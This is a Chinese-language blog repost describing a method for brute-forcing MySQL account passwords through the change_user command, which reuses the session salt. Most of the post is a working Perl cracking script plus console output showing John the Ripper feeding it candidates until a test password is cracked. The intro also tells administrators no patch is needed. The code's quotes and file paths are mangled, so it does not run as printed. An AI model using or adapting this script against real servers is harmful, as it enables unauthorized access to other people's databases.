• 快速高效的破解MySQL本地和远程密码


    http://www.kankanews.com/ICkengine/archives/212.shtml


      快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。

      我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。

      方法如下:

      攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。

      是什么导致非常慢?

      因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。

      下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:

      测试的用户是 crackme 密码为 pass,只需数秒就可破解。

      (大约 20 秒钟可测试 10 万密码)

      测试脚本如下:
    use Net::MySQL;

    $|=1;

    my $mysql = Net::MySQL->new(
    hostname => ’192.168.2.3′,
    database => ‘test’,
    user     => “user”,
    password => “secret”,
    debug => 0,
    );

    $crackuser = “crackme”;

    while(<stdin>) {
    chomp;
    $currentpass = $_;

    $vv = join “”,
            $crackuser,
            “x14″.
            Net::MySQL::Password->scramble(
                $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
            ) . “”;
    if ($mysql->_execute_command(“x11″, $vv) ne undef) {
        print “[*] Cracked! –> $currentpass ”;
        exit;
    }
    }

      下面是我这台机器上的执行结果:
    C:UserskingcopeDesktop>C:UserskingcopeDesktopjohn179 unjo

    hn –incremental –stdout=5 | perl mysqlcrack.pl
    Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
    words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH
    words: 24573  time: 0:00:00:04  w/s: 4916  current: rap
    words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3
    words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429
    words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141
    words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n
    words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2
    [*] Cracked! –> pass
    words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs

    Session aborted

    No tags for this post.

    除非注明,本站文章均为原创或编译,转载请注明: 文章来自KENGINE | Kankanews.com
  • 相关阅读:
    机器学习笔记(一)线性回归模型
    为什么拷贝构造函数的参数可以直接去访问它自己的私有成员?
    C++之forward move源码分析
    C++之forward
    C++之不完整的数据类型释放
    C++中typename关键字的使用方法和注意事项(好文收藏)
    C++之左值引用和右值引用
    C++之Class内存
    C++ 之Const
    C++之DISALLOW_COPY_AND_ASSIGN
  • 原文地址:https://www.cnblogs.com/lvdongjie/p/4013222.html
Copyright © 2020-2023  润新知